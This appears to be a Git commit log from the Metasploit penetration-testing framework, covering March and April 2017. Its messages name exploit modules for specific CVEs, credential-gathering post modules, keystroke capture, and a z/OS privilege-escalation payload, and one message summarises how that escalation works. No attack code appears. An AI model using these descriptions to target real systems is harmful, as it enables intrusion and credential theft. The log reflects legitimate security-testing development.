KB for manageengine_connectionid_write
2017-04-15 17:30:44 +05:30
Brent Cook
759dbcfe81
Land #8237 , modernize and improve reliability of keystroke capture with meterpreter
2017-04-14 22:03:47 -05:00
Brent Cook
fe33fe5571
bump payloads with new keyscan code
2017-04-14 21:54:50 -05:00
Brent Cook
7950087804
Merge branch 'upstream-master' into land-8237-
2017-04-14 21:53:26 -05:00
nixawk
fb001180c4
Fix generate_uri
2017-04-14 21:52:31 -05:00
nixawk
590816156f
rename exp module
2017-04-14 21:32:48 -05:00
nixawk
1952529a87
Format Code
2017-04-14 21:30:26 -05:00
nixawk
a9df917257
Fix rtf info author
2017-04-14 21:16:39 -05:00
William Webb
cbebc5dc39
really remove errant keyscan_extract() call
2017-04-14 15:21:11 -05:00
Brent Cook
a9857eb1c2
Land #8099 , Aux module to launch instances in AWS
2017-04-14 14:12:10 -05:00
Brent Cook
42122d2835
Land #8238 , move SMB2 support back into smb_login, add simpler permissions checks
2017-04-14 14:06:46 -05:00
Brent Cook
c16e2fa88e
bump to prerelease rubyntlm to get rid of Ruby 2.4 warning msgs.
2017-04-14 14:06:19 -05:00
nixawk
8ab0b448fd
CVE-2017-0199 exploit module
2017-04-14 13:22:59 -05:00
nixawk
8c662562d3
add CVE-2017-0199 format
2017-04-14 13:22:32 -05:00
Brent Cook
eb61241673
Land #8228 , New mainframe privesc payload for z/OS
2017-04-14 13:19:41 -05:00
Brent Cook
6c3710bf6f
Land #8224 , Update the kiwi extension to show correct version number
2017-04-14 13:17:49 -05:00
Brent Cook
7eaba1fdee
bump payloads
2017-04-14 13:17:25 -05:00
dmohanty-r7
d75f852d01
Land #8167 , Add MS17-010 auxiliary detection module
2017-04-14 13:00:16 -05:00
Brent Cook
b8e14d7543
Merge branch 'upstream-master' into land-8224-
2017-04-14 12:55:29 -05:00
Brent Cook
5748c6acf5
Land #8243 , add in-app screenshot support to Android Meterpreter
2017-04-14 12:41:21 -05:00
Brent Cook
eedbf25f06
bump android meterpreter, adding in-app screenshot support
2017-04-14 12:38:53 -05:00
Brent Cook
cd3b33ac35
Land #8242 , Enhance python meterpreter functionality on Windows
2017-04-14 12:31:41 -05:00
Brent Cook
f8a94de671
bump metasploit-payloads, enhance windows support in python meterpreter
2017-04-14 12:28:52 -05:00
Metasploit
036d579228
Bump version of framework to 4.14.12
2017-04-14 10:04:35 -07:00
Brent Cook
e992692241
Land #8234 , make running specs with the database self-explanitory
2017-04-13 22:12:55 -05:00
Brent Cook
a3fc6791ca
Land #8217 , don't log empty attributes if they are ignored
2017-04-13 22:08:23 -05:00
Brent Cook
bb0a0b5cd9
apply empty attribute fix in more places, simplify and unify
2017-04-13 22:07:10 -05:00
Brent Cook
e70abd9b14
Land #8236 , add xmlrpc as an explicit dependency
2017-04-13 17:53:08 -05:00
Brent Cook
3dd29e2706
ruby 2.1 is kinda dead now, lets stop testing it
2017-04-13 17:36:36 -05:00
Brent Cook
5dd681ead7
we only need xmlrpc for ruby >= 2.3
2017-04-13 17:33:29 -05:00
David Maloney
91fb3ce6b8
collapse SMB2 support into smb_login
...
converge the SMB and SMB loginscanners so that
there is only one SMB loginscanner that supports both
MS-2636
2017-04-13 15:22:03 -05:00
David Maloney
89bd110422
reinsert guest checks and uniq fallback
...
add checks back from original loginscanner
MS-2636
2017-04-13 14:55:37 -05:00
David Maloney
adeb4d10d7
smb2 login scanner admin check now working
...
we can now check for admin privs in the smb2
login scanner
MS-2636
2017-04-13 14:40:32 -05:00
David Maloney
45d5701473
update ruby_smb to 0.0.9
...
update to newest version to get
TreeConnect capability
MS-2636
2017-04-13 12:01:51 -05:00
William Webb
48560d29f3
remove keyscan_extract and modify calling modules
2017-04-13 10:42:28 -05:00
Brent Cook
cdccd1df19
add xmlrpc as an explicit dependency
2017-04-13 07:12:38 -05:00
William Webb
303a767ccc
bring ukl branch up to date with upstream
2017-04-12 21:59:13 -05:00
Metasploit
ced1412ee0
Bump version of framework to 4.14.11
2017-04-12 14:39:40 -07:00
James Barnett
438e8a8bb3
Land #8233 , remove metasploit-aggregator dependency
2017-04-12 16:11:31 -05:00
darkbushido
2c8772efe7
changing the rake spec task to auto run db:test:prepare
2017-04-12 13:16:21 -05:00
Jeffrey Martin
157d28ab3d
make metasploit-aggregator a framework package
2017-04-12 12:33:13 -05:00
Brent Cook
bb64f5d7e3
Land #8230 , Sum the results of the module loaders
2017-04-12 11:51:03 -05:00
m0t
5e42dde6b6
msftidy clean up
2017-04-12 16:25:21 +01:00
Koen Riepe
9f289bdf52
Fixed error messages and some syntax.
2017-04-12 13:48:11 +02:00
William Webb
c21d78b23b
Land #8186 , Convert DNS Fuzzer to use bindata
2017-04-11 23:27:08 -05:00
Adam Cammack
2d8001aa62
Sum the results of the module loaders
...
Fixes #8229
2017-04-11 23:21:58 -05:00
bigendiansmalls
fa8011fd07
New mainframe privesc payload for z/OS
...
This module performs a privilege escaltion on mainframe systems
runing z/OS and using RACF for their security manager. A user
with any non-privileged credentials and the ability to write to
an apf authorized library can use this payload to add "root level"
privileges (e.g. SPECIAL / BPX.SUPERUSER) to their profile.
2017-04-11 15:04:44 -05:00
William Webb
c867b7e228
Land #8204 , Add Cambian ePMP SNMP Configuration download
2017-04-11 10:59:13 -05:00
William Webb
ec2f9c17d1
Land #8227 , Remove external module debugging code
2017-04-11 10:48:24 -05:00
mr_me
3c2dc68e9c
improved description, no point repeating the same thing\!
2017-04-11 09:55:11 -05:00
mr_me
c359e15de6
updated the print statement
2017-04-11 09:31:17 -05:00
Adam Cammack
3cf51b7d43
Remove external module debugging code
...
Causes EACCESS when run by separate users.
Fixes #8226
2017-04-11 09:29:02 -05:00
mr_me
84ac9d905c
improved the description of the module
2017-04-11 09:24:43 -05:00
OJ
271da4b4a5
Add new shared wifi profile dumping from kiwi
2017-04-11 22:01:52 +10:00
OJ
6983b0f857
Update the kiwi extension to show correct version number
2017-04-11 20:23:56 +10:00
m0t
374d7809b5
last fixes and tests
2017-04-11 09:48:57 +01:00
William Vu
288e384164
Land #8189 , irssi password post gather module
2017-04-10 23:34:54 -05:00
Jonathan Claudius
96927b449c
Rework module to grab entire irssi configs
2017-04-11 00:02:40 -04:00
Jonathan Claudius
6a1531da34
Fix loot name attributes
2017-04-10 23:52:31 -04:00
Jonathan Claudius
d92f94e077
Fix grammar issue
2017-04-10 23:44:18 -04:00
Jonathan Claudius
d9e96a8b4f
Consolidate loot into single file
2017-04-10 23:42:50 -04:00
Jonathan Claudius
7f6bbb6ff2
Fix trailing space issue
2017-04-10 21:38:30 -04:00
h00die
11f6d7a0a5
land #8206 docs for rails_web_console_v2_code_exec
2017-04-10 20:36:24 -04:00
h00die
376e791131
Merge branch 'master' into KB-for-rails_webconsole_v2
2017-04-10 20:03:03 -04:00
h00die
a1a1a0a426
land-8206 docs for rais_web_console_v2_code_exec
2017-04-10 19:52:28 -04:00
h00die
136030313d
fix single tick to `
2017-04-10 19:50:59 -04:00
Indranil Roy
7724797c73
fixing $ symbol
2017-04-10 19:45:48 -04:00
itsmeroy2012
c00fb64e9d
Fixing code blocks
2017-04-10 19:45:48 -04:00
itsmeroy2012
b7562e5c36
Adding new lines
2017-04-10 19:45:48 -04:00
itsmeroy2012
88f6c90d4d
Fixing white spaces
2017-04-10 19:45:48 -04:00
itsmeroy2012
53afe736af
Fixing some headings
2017-04-10 19:45:48 -04:00
itsmeroy2012
16332cdf9b
Adding KB for rails_webconsole_v2
2017-04-10 19:45:48 -04:00
darkbushido
e0ecf0972e
dropping extra spaces
2017-04-10 15:19:36 -05:00
darkbushido
099cf87e54
Catching errors where we are passing invalid attributes
...
We need to pass :task down for some functionality in pro.
while the error is valid we really shouldnt be passing the task all the way down if its blank but we need
the check there or we will end up with the same problem with pro.
2017-04-10 15:05:53 -05:00
Jonathan Claudius
9432a3543f
Extend irssi post mod to grab network passwords
2017-04-10 15:35:26 -04:00
Jonathan Claudius
4286559273
Update docs for irssi post gather
2017-04-10 15:35:05 -04:00
mr_me
b1d127e689
satisfied travis
2017-04-10 14:11:18 -05:00
Jonathan Claudius
47d74819a5
Update regex per reviewer request
2017-04-10 14:45:10 -04:00
Jonathan Claudius
d816092c56
Fix missing new line
2017-04-10 14:41:25 -04:00
Jonathan Claudius
2dd60d8498
Add subsection to scenarios
2017-04-10 14:40:24 -04:00
Jonathan Claudius
70a41cfbce
Remove options section
2017-04-10 14:38:45 -04:00
Jonathan Claudius
17eb27002f
Remove unnecessary docs
2017-04-10 14:37:23 -04:00
Jonathan Claudius
211ee3f622
Add IRSSI docs
2017-04-10 14:35:47 -04:00
mr_me
0f07875a2d
added CVE-2016-7552/CVE-2016-7547 exploit
2017-04-10 13:32:58 -05:00
Adam Cammack
b25cdd2d3b
Land #8212 , Handle failures loading external modules
2017-04-10 11:10:19 -05:00
Stefan Schake
910d34a64b
Fix ELM327 ISOTP commands
2017-04-10 12:57:07 +02:00
William Vu
04740bd2e6
Land #8194 , piwik_superuser_plugin_upload update
2017-04-09 22:24:10 -05:00
William Vu
06ca406d18
Fix weird whitespace
2017-04-09 22:23:58 -05:00
Brent Cook
0189c40317
compromise
2017-04-09 15:03:05 -05:00
Brent Cook
d9ba993d25
handle general failure getting module info for external modules
2017-04-09 11:50:03 -05:00
Indranil Roy
64aecb59a1
fixing $ symbol
2017-04-08 23:01:28 +05:30
itsmeroy2012
309876f2f6
Fixing code blocks
2017-04-08 22:43:58 +05:30
itsmeroy2012
8f6f3bdb20
Adding new lines
2017-04-08 20:17:23 +05:30
zerosum0x0
f7c8bd2464
add rescue for ::Rex::Proto::SMB::Exceptions::LoginError
2017-04-07 15:37:56 -06:00
Jeffrey Martin
1245eb9db9
Land #8201 , remove references to missing embedded libs
2017-04-07 12:17:55 -05:00
Metasploit
7fc05bcb25
Bump version of framework to 4.14.10
2017-04-07 10:07:31 -07:00
Brent Cook
b1bd92d57c
Land #8197 , fix HttpTrace with chunked encoding
2017-04-07 11:52:50 -05:00
Brent Cook
5fdab67a74
Land #8208 , Add -H/--history-file to msfconsole
2017-04-07 11:51:27 -05:00
Brent Cook
bf7db3dfdf
move gem licenses to a separate auto-generated file
2017-04-07 11:49:58 -05:00
Brent Cook
890d93f2d0
remove references to missing embedded libs
2017-04-07 11:45:18 -05:00
William Vu
3103decc98
Add -H/--history-file to msfconsole
...
Save command history to an alternative file instead of ~/.msf4/history.
2017-04-07 03:00:37 -05:00
OJ
5a754a0333
Land #8157 - Fix missing dll_data var in parse_pe
2017-04-07 09:55:12 +10:00
itsmeroy2012
a68b6f0ab9
Fixing white spaces
2017-04-07 04:29:31 +05:30
itsmeroy2012
604ba7f43b
Fixing some headings
2017-04-07 04:27:50 +05:30
itsmeroy2012
0a98d0fa8d
Adding KB for rails_webconsole_v2
2017-04-07 04:25:17 +05:30
William Vu
8549ec9fe3
Update $std{out,err} fix for msftidy
2017-04-06 17:54:07 -05:00
juushya
e65eacce49
Add Satel SenNet Command Exec Module
2017-04-07 02:22:11 +05:30
Brent Cook
25da51dc5f
Land #8203 , remove platform restrictions on metasploit-aggregator gem
2017-04-06 15:36:47 -05:00
Brent Cook
2276bd0c7d
switch back to released octokit gem
2017-04-06 15:36:02 -05:00
juushya
074c4f6313
Minor update to description
2017-04-07 01:38:23 +05:30
juushya
3c189f0cb0
Adding Cambium SNMP Loot module
2017-04-07 01:32:45 +05:30
Jeffrey Martin
c845745f0b
remove platform restriction on metasploit-aggregator
2017-04-06 13:09:09 -05:00
Brent Cook
d6fc29d72f
Land #8193 , fix generating exe-service payloads with msfvenom
...
Merge remote-tracking branch 'upstream/pr/8193' into upstream-master
2017-04-05 16:17:10 -05:00
Brent Cook
a5ea1ec9ae
Land #8195 , add Docker rebuild support to msfconsole binstub, update docs
2017-04-05 16:13:39 -05:00
Brent Cook
366ea53f8e
Land #8190 , Add documentation requirement to PR template
2017-04-05 16:11:34 -05:00
Christian Mehlmauer
3c260ea452
fix #7921 , HttpTrace and chunked encoding
2017-04-05 22:58:11 +02:00
Christian Mehlmauer
cea43cc95c
also add docker rebuild to the standard binstub
2017-04-05 20:38:42 +02:00
Christian Mehlmauer
74dc7e478f
update piwik module
2017-04-05 20:19:07 +02:00
m0t
9a0789f839
Exploit for pmmasterd Buffer Overflow (CVE-2017-6553)
2017-04-05 17:59:54 +01:00
Elijah Frederickson
9e89567ce5
Fix #8191 (msfvenom cannot create exe-service)
...
Fixes issue #8191 : Cannot create exe-service from msfvenom
2017-04-05 12:49:46 -04:00
Jonathan Claudius
088709e972
Add documentation requirement to PR template
2017-04-05 10:03:05 -04:00
bwatters-r7
dd5a91f153
Land #8008 , Added archmigrate module for windows sessions
2017-04-05 08:55:27 -05:00
Jonathan Claudius
b6bf907cbd
Add docs for irssi_creds post gather
2017-04-05 09:54:22 -04:00
Koen Riepe
08b2a97293
Changed styling to be more in line with rubocop.
2017-04-05 10:05:56 +02:00
Jonathan Claudius
b8af7c1db0
Add irssi password post gather module
2017-04-05 00:56:24 -04:00
Metasploit
4e79aaccb7
Bump version of framework to 4.14.9
2017-04-04 16:14:28 -07:00
Jeffrey Martin
68347ae06e
Land #8188 , Update client to use TLS1.2
2017-04-04 18:01:32 -05:00
James Barnett
bd21d2811b
Update client to use TLS1.2
2017-04-04 17:57:07 -05:00
Brent Cook
11ccf8c6be
Land #7819 , bump Metasploit to Ruby 2.4.1
...
Merge branch 'ruby-2.4' into upstream-master
2017-04-04 17:25:17 -05:00
h00die
6c44edc58c
Land #8180 docs for iis_webdav_upload_asp
2017-04-04 16:37:08 -04:00
h00die
a0ec93ded8
add newline
2017-04-04 16:35:46 -04:00
bwatters-r7
64c06a512e
Land #8020 , ntfs-3g local privilege escalation
2017-04-04 09:48:15 -05:00
Brent Cook
3237575024
add ruby 2.1-2.4, update gems with in-flight 2.4 fixes
2017-04-04 04:06:35 -05:00
Brent Cook
a0eef4fb7a
Land #8159 , add special-case in msftidy that skips quoted $stdout/err
2017-04-04 03:58:01 -05:00
Brent Cook
a26056eea7
Land #8182 , fixes to Docker images for development workflow
2017-04-04 03:51:52 -05:00
Brent Cook
7a239ed0d3
Land #8181 , Update Nmap parser to handle masscan
2017-04-04 03:48:21 -05:00
Brent Cook
891e7e465e
convert DNS fuzzer to bindata
2017-04-04 03:03:32 -05:00
Brent Cook
ed0e539249
handle sending bindata structs
2017-04-04 03:03:27 -05:00
Brent Cook
5f88971ca9
convert NTP modules to bindata
2017-04-04 02:57:38 -05:00
Brent Cook
46c7e822c8
convert IPMI protocol and modules to bindata
2017-04-04 02:44:17 -05:00
William Vu
94a0b4b06c
Stop special-casing masscan
2017-04-04 00:33:13 -05:00
Dominic Chell
46d977dc9e
Merge pull request #3 from FireFart/iis
...
Update IIS exploit
2017-04-03 20:01:00 +01:00
Indranil Roy
9c1ae39c4f
Merge pull request #2 from rapid7/master
...
Merging
2017-04-03 23:53:55 +05:30
Christian Mehlmauer
2b76731c73
update docker stuff
2017-04-03 20:19:12 +02:00
Christian Mehlmauer
30c4a665f4
update iis exploit
2017-04-03 20:06:16 +02:00
Indranil Roy
77d80b1a02
fixing newline
2017-04-03 17:04:45 +05:30
itsmeroy2012
fef10b7be8
fixing minor issues
2017-04-03 16:54:45 +05:30
William Vu
95c4dd8108
Prefer start_with? over =~
...
Oops, old habit.
2017-04-03 02:38:50 -05:00
William Vu
7de2aa1a63
Update Nmap parser to handle masscan
...
masscan is missing <status>, meaning hosts aren't treated as alive.
Thanks to @jhart-r7 and @jlmurray for working on this previously.
2017-04-03 02:26:14 -05:00
Brent Cook
98ffa4d380
Land #7652 , add varnish cache CLI authentication scanner module
2017-04-02 21:52:45 -05:00
Brent Cook
0c3ef4bf47
add note about later versions of Varnish
2017-04-02 21:52:20 -05:00
Brent Cook
deb7701d3e
tweak misshapen output in MD->HTML
2017-04-02 21:44:50 -05:00
Brent Cook
4c0539d129
Land #8178 , Add support for non-Ruby modules
2017-04-02 21:02:37 -05:00
h00die
a34c01ebd2
Land #8137 shodan honeyscore module
2017-04-02 21:37:36 -04:00
Carter
3d860c2942
Change RHOST to TARGET
2017-04-02 21:10:42 -04:00
h00die
0092818893
Land #8169 add exploit rank where missing
2017-04-02 20:59:25 -04:00
Bryan Chu
151ed16c02
Re-ranking files
...
../exec_shellcode.rb
Rank Great -> Excellent
../cfme_manageiq_evm_upload_exec.rb
Rank Great -> Excellent
../hp_smhstart.rb
Rank Average -> Normal
2017-04-02 18:33:46 -04:00
itsmeroy2012
3ada361357
removing twice exploit
2017-04-02 14:33:23 +05:30
itsmeroy2012
2c75526a12
Fixing white spaces
2017-04-02 14:31:11 +05:30
itsmeroy2012
da14a80e8d
Fixing hashes
2017-04-02 14:28:04 +05:30
itsmeroy2012
85a95233c7
Documentation on iis_webdav_upload_asp
2017-04-02 14:26:29 +05:30
zerosum0x0
ff27edab14
added docs
2017-04-01 21:58:07 -06:00
zerosum0x0
26fc6bc920
added report_vuln()
2017-04-01 21:48:19 -06:00
Carter
97e47be0ed
Make there be no command output
2017-03-31 22:30:43 -05:00
Adam Cammack
2de8f1b97d
Fixups for specs
2017-03-31 22:19:53 -05:00
h00die
e80b8cb373
move sploit.c out to data folder
2017-03-31 20:51:33 -04:00
William Webb
035f37cf42
Land #8144 , Add Moxa Device Discovery Scanner Module
2017-03-31 19:11:27 -05:00
William Webb
f870f94fa9
Land #8163 , Add Cambium ePMP Arbitrary Command Execution
2017-03-31 19:06:19 -05:00
Carter
7bfb10c468
Update msfupdate
2017-03-31 17:41:42 -05:00
Adam Cammack
6910cb04dd
Add first exploit written in Python
2017-03-31 17:07:55 -05:00
Adam Cammack
a3e196e31e
Support arbitrary external command_stager exploits
...
So much done, so much more to do.
2017-03-31 17:06:28 -05:00
Metasploit
9edc08cd36
Bump version of framework to 4.14.8
2017-03-31 14:38:29 -07:00
h00die
05201b9578
land #8177 tomcat_gather docs fix
2017-03-31 16:56:44 -04:00
h00die
2b87923a19
fixes for markdown
2017-03-31 16:54:59 -04:00
h00die
823c1a6286
added more verifieds
2017-03-31 16:52:20 -04:00
h00die
23ac9214ea
land #8010 post gather module for tomcat creds
2017-03-31 16:15:55 -04:00
h00die
34a152dc76
handle no sysinfo from ssh_login
2017-03-31 16:15:16 -04:00
Pearce Barry
c00b9ca1e5
Land #8175 , Get into the DANGER ZOOOOOOONE
2017-03-31 14:31:22 -05:00
Pearce Barry
7b0eeea2f0
Land #8176 , deregeister smb2_login from pro bruteforce
2017-03-31 13:56:26 -05:00
David Maloney
7b9772376a
deregeister smb2_login from pro bruteforce
...
this loginscanner is temporary while we continue
to add the smb2 support and so we don't want the
Metasploit Pro bruteforcer picking it up
MS-2609
2017-03-31 13:34:10 -05:00
HD Moore
b5771b0f72
Get into the DANGER ZOOOOOOONE
2017-03-31 12:26:42 -05:00
Metasploit
b6085e188d
Bump version of framework to 4.14.7
2017-03-31 10:02:19 -07:00
Brent Cook
9f75a1d392
Land #8174 , bump rex-text to fix problems running split-line VBA code
2017-03-31 11:40:21 -05:00
Brent Cook
8eea57cda3
Land #8173 , bump rex-core, change 'sleep' to allow < 200ms durations
2017-03-31 11:40:00 -05:00
Pearce Barry
ab4d86fd21
Land #8168 , change description of alpha encoders
2017-03-31 11:37:12 -05:00
Brent Cook
ce87174373
bump rex-text to fix problems running split-line VBA code
2017-03-31 11:34:41 -05:00
Brent Cook
a937b00f85
bump rex-core, change 'sleep' to allow < 200ms durations
2017-03-31 11:33:21 -05:00
dmohanty-r7
1ce7bf3938
Land #8126 , Add SolarWind LEM Default SSH Pass/RCE
2017-03-31 11:21:32 -05:00
dmohanty-r7
c445a1a85a
Wrap ssh.loop with begin/rescue
2017-03-31 11:16:10 -05:00
Adam Cammack
1306065c91
Always run both loaders
...
How did I miss this? How did this work before??? I have a bad feeling
this may break pro.
2017-03-31 10:42:13 -05:00
Koen Riepe
22b2215d2e
Fixed a typo causing bot to fail.
2017-03-31 16:40:21 +02:00
Koen Riepe
3a674b731c
Added error handling, added documentation and fixed some style issues.
2017-03-31 16:35:25 +02:00
Koen Riepe
628827cda9
Added some documentation and gracefull error handeling.
2017-03-31 12:45:30 +02:00
Koen Riepe
df2a9a4af3
Added documentation file and implemented fixes for output and linux parsing.
2017-03-31 11:19:12 +02:00
Bryan Chu
5e31a32771
Add missing ranks
...
../exec_shellcode.rb
Rank = Great
This exploit is missing autodetection and version checks,
but should be ranked Great due to high number of possible targets
../cfme_manageiq_evm_upload_exec.rb
Rank = Great
This exploit implements a check to assess target availability,
and the vulnerability does not require any user action
../dlink_dcs_930l_authenticated_remote_command_execution
Rank = Excellent
Exploit utilizes command injection
../efw_chpasswd_exec
Rank = Excellent
Exploit utilizes command injection
../foreman_openstack_satellite_code_exec
Rank = Excellent
Exploit utilizes code injection
../nginx_chunked_size
Rank = Great
Exploit has explicit targets with nginx version auto-detection
../tp_link_sc2020n_authenticated_telnet_injection
Rank = Excellent
See dlink_dcs_930l_authenticated_remote_command_execution,
exploit uses OS Command Injection
../hp_smhstart
Rank = Average
Must be specific user to exploit, no autodetection,
specific versions only
2017-03-31 02:39:44 -04:00
Christian Mehlmauer
0a398a59c5
change description
2017-03-30 20:06:23 +02:00
bwatters-r7
6bcb9b523b
Land #8165 , Fix x86 mettle shellcode
2017-03-30 11:45:11 -05:00
zerosum0x0
4bd50b0ad2
Merge branch 'ms17-010' of github.com:RiskSense-Ops/metasploit-framework into ms17-010
2017-03-30 10:10:08 -06:00
zerosum0x0
a125566fc7
removed unnecessary arguments
2017-03-30 10:09:31 -06:00
Pearce Barry
a13d6a7810
Land #8166 , Add new SMB LoginScanner using RubySMB for SMB1/SMB2 Support
2017-03-30 11:08:17 -05:00
h00die
eeea584bf8
Land #8152 docs for adobe_flash_hacking_team_uaf
2017-03-30 09:14:47 -04:00
h00die
9a0c455f9f
add newline
2017-03-30 09:14:03 -04:00
Pearce Barry
ac83ff7e48
Land #8155 , Style fixes for HWBridge RF and a couple small bug fixes
2017-03-29 20:37:13 -05:00
zerosum0x0
ef7de6d49e
added MSB to description, moved a print statement
2017-03-29 17:43:49 -06:00
Carter
4bdbdc0e00
Fix response parsing
2017-03-29 18:21:12 -05:00
zerosum0x0
68f5c0e663
removed a print statement
2017-03-29 16:24:59 -06:00
zerosum0x0
7e6b8b02b8
replaced magic constant with setup_count
2017-03-29 15:37:28 -06:00
zerosum0x0
9923c39799
removed superfluous status
2017-03-29 15:32:29 -06:00
zerosum0x0
f0a1e12a7e
small typos
2017-03-29 15:30:35 -06:00
bwatters-r7
691811af5a
Land #7994 , Add Windows Gather DynaZIP Saved Password Extraction post module
2017-03-29 16:04:09 -05:00
zerosum0x0
ffa376c514
added MS17-010 auxiliary detection module
2017-03-29 14:33:02 -06:00
David Maloney
a571bcdba4
update module description
2017-03-29 13:58:36 -05:00
David Maloney
40ab82eea2
add specs for the smb2 login scanner
...
added some basic specs for the new smb loginscanner
class
MS-2557
2017-03-29 13:46:20 -05:00
David Maloney
418e371e35
add SMB2 login scanner and module
...
add smb2_login module backed by an smb2
LoginScanner class. This is a temporary alternative
to smb_login until ruby_smb catches up more on feature parity
MS-2557
2017-03-29 11:36:33 -05:00
Adam Cammack
2758010355
Fix x86 mettle shellcode
2017-03-28 17:59:13 -05:00
David Maloney
2d9c2321d1
add ruby_smb as a dep
...
added the ruby_smb library to the gemspec
MS-2557
2017-03-28 16:12:12 -05:00
dmchell
8f6d069b4e
Merge pull request #2 from thecarterb/iis_6_sc-dev
...
Update code style and add a check method
2017-03-28 19:34:53 +01:00
dmchell
8b3fe0ac06
Merge branch 'dmchell-cve-2017-7269' into iis_6_sc-dev
2017-03-28 19:33:37 +01:00
dmchell
697d3978af
Update iis_webdav_scstoragepathfromurl.rb
2017-03-28 19:14:32 +01:00
Carter
d7bed334b0
Add Metasploit header
2017-03-28 12:07:57 -05:00
Carter
ebbed949c2
Get rid of double header
2017-03-28 12:05:44 -05:00
Carter
d1c269e5e8
Update iis_webdav_scstoragepathfromurl.rb
2017-03-28 11:54:52 -05:00
Carter
4972b510d1
Use HttpClient instead of Tcp
2017-03-28 11:37:40 -05:00
Carter
c203fa71d1
Create iis_webdav_scstoragepathfromurl.rb
2017-03-28 11:34:11 -05:00
Adam Cammack
bf9b0130d9
Clean up odd code
2017-03-28 11:19:30 -05:00
dmchell
ffdd5fb471
Update iis_webdav_scstoragepathfromurl.rb
...
converted to Msf::Exploit::Remote::HttpClient
2017-03-28 17:16:35 +01:00
wchen-r7
5bcddbd4a6
Land #8158 , Add documentation for glassfish_deployer
2017-03-28 10:52:20 -05:00
wchen-r7
9f93bb052e
Add installation instructions for GlassFish doc
2017-03-28 10:51:39 -05:00
Adam Cammack
71df231918
Add new loader for arbitrary executables
...
Still some kluges left in the shim and we have to hit the disk when
constructing the module path
2017-03-28 10:27:12 -05:00
dmchell
ed90971489
Update iis_webdav_scstoragepathfromurl.rb
2017-03-28 16:16:51 +01:00
dmchell
1552cc4cac
Update iis_webdav_scstoragepathfromurl.rb
2017-03-28 16:11:44 +01:00
dmchell
b301a8d0c0
Update iis_webdav_scstoragepathfromurl.rb
2017-03-28 16:07:12 +01:00
dmchell
20a9b88eb6
Update and rename iis_webdav_ScStoragePathFromUrl.rb to iis_webdav_scstoragepathfromurl.rb
2017-03-28 15:53:18 +01:00
dmchell
f7cecaf31e
Update and rename cve-2017-7269.rb to iis_webdav_ScStoragePathFromUrl.rb
2017-03-28 15:47:20 +01:00
dmchell
9e8ec532a2
Create cve-2017-7269.rb
...
Exploit for cve-2017-7269.rb
2017-03-28 15:33:20 +01:00
Tim
a65936452f
Add android wakelock command to turn the screen on
2017-03-28 16:24:11 +08:00
itsmeroy2012
25f7835832
adding browser details
2017-03-28 08:09:28 +05:30
itsmeroy2012
4075580249
Correction a/an
2017-03-28 08:06:01 +05:30
h00die
09214bbb7d
land #8154 docs for axis2_deployer
2017-03-27 20:47:22 -04:00
Bryan Chu
b25f549f32
Fix msftidy false +ves for quote-enclosed stdouts
...
Combined old regex in next if statement with a new one
Now catches stdouts enclosed in quotes on a single line
2017-03-27 18:29:58 -04:00
juushya
30896d1fab
Add Cambium ePMP Arbitrary Command Execution Module
2017-03-28 00:17:36 +05:30
William Webb
66a585ab41
Land #8050 , Add Cambium ePMP System Hash Dumper
2017-03-27 12:08:53 -05:00
William Webb
935c59306b
Land #7897 , Add Cambium ePMP 1000 Device Configuration file dumper
2017-03-27 12:05:11 -05:00
William Webb
d705949b37
Land #7784 , Cambium ePMP 1000 Login Scanner
2017-03-27 12:01:56 -05:00
Patrick DeSantis
925088bf2a
Create moxa_discover.md
2017-03-27 11:44:03 -04:00
itsmeroy2012
a1a3a2af7c
Documentation on glassfish_deployer updated 1.3
2017-03-27 19:26:51 +05:30
itsmeroy2012
ea9de67ebb
Documentation on glassfish_deployer updated 1.2
2017-03-27 19:25:32 +05:30
itsmeroy2012
ccccb38a1a
Documentation on glassfish_deployer updated 1.1
2017-03-27 19:24:46 +05:30
itsmeroy2012
8ad61a11c8
Documentation on glassfish_deployer
2017-03-27 19:23:39 +05:30
William Vu
d47e59b04e
Fix missing dll_data var in parse_pe
...
Also clean up YARD.
2017-03-27 01:17:23 -05:00
Carter
b36836bb0a
Fix grammar mistake
2017-03-27 00:05:18 -05:00
Pearce Barry
31c03840bb
Style fixes for HWBridge RF and a couple small bug fixes
...
I should have tweaked these earlier, my bad.
2017-03-26 13:45:19 -05:00
itsmeroy2012
4cba08a74d
Documentation on adobe_flash_hacking_team_uaf updated 1.6
2017-03-26 22:55:13 +05:30
itsmeroy2012
48a56d8830
Documentation on axis2_deployer updated 1.4
2017-03-26 22:38:45 +05:30
itsmeroy2012
8d618ce6a3
Documentation on axis2_deployer updated 1.3
2017-03-26 22:36:41 +05:30
itsmeroy2012
2c47d798b6
Documentation on adobe_flash_hacking_team_uaf updated 1.5
2017-03-25 12:53:23 +05:30
itsmeroy2012
6b6dd73b09
Documentation on adobe_flash_hacking_team_uaf updated 1.4
2017-03-25 12:52:12 +05:30
juushya
dd7cf39678
updated references
2017-03-25 12:31:08 +05:30
juushya
63d88c159a
updated references
2017-03-25 12:27:38 +05:30
juushya
fd5e25bcc2
restored version check
2017-03-25 12:08:00 +05:30
Javier Godinez
68e4b8a855
Updated user data param to load aggregator
2017-03-24 22:58:04 -07:00
Javier Godinez
6ba6cd01eb
Updated documentation to detail aggregator
2017-03-24 22:57:48 -07:00
Javier Godinez
bb3f69e1e1
now running aggregator under screen
2017-03-24 22:33:04 -07:00
Carter
82ebbfb9a7
Fix msftidy warnings
2017-03-24 23:12:48 -04:00
Carter
3e2173d4f9
Add key length check and remove mixin
...
Also add a reference to the original honeyscore website
2017-03-24 22:33:09 -04:00
Carter
2a96190dac
Create shodan_honeyscore.md
2017-03-24 22:25:33 -04:00
Carter
581d523d5b
Fix things from review
2017-03-24 21:22:23 -04:00
h00die
11b251b928
Land #8151 docs update for netgear_r7000_cgibin_exec
2017-03-24 19:49:53 -04:00
h00die
5f4e82bf69
Land #8131 docs for ms15-034
2017-03-24 19:45:36 -04:00
itsmeroy2012
b2e6c22fdf
Documentation on adobe_flash_hacking_team_uaf updated 1.3
2017-03-25 04:02:43 +05:30
itsmeroy2012
cb65a4d909
Documentation on adobe_flash_hacking_team_uaf updated 1.2
2017-03-25 03:58:06 +05:30
itsmeroy2012
52ff073d51
Documentation on adobe_flash_hacking_team_uaf updated 1.1
2017-03-25 03:56:19 +05:30
itsmeroy2012
4b36a42eff
Documentation on adobe_flash_hacking_team_uaf
2017-03-25 03:54:17 +05:30
Pearce Barry
29b30217d2
Land #8149 , Add -h for the check command
2017-03-24 15:47:59 -05:00
Pearce Barry
4e6cf58b22
Land #8143 , Fix variable typos in rfrecv related methods.
2017-03-24 15:38:52 -05:00
Carter
dd974612e8
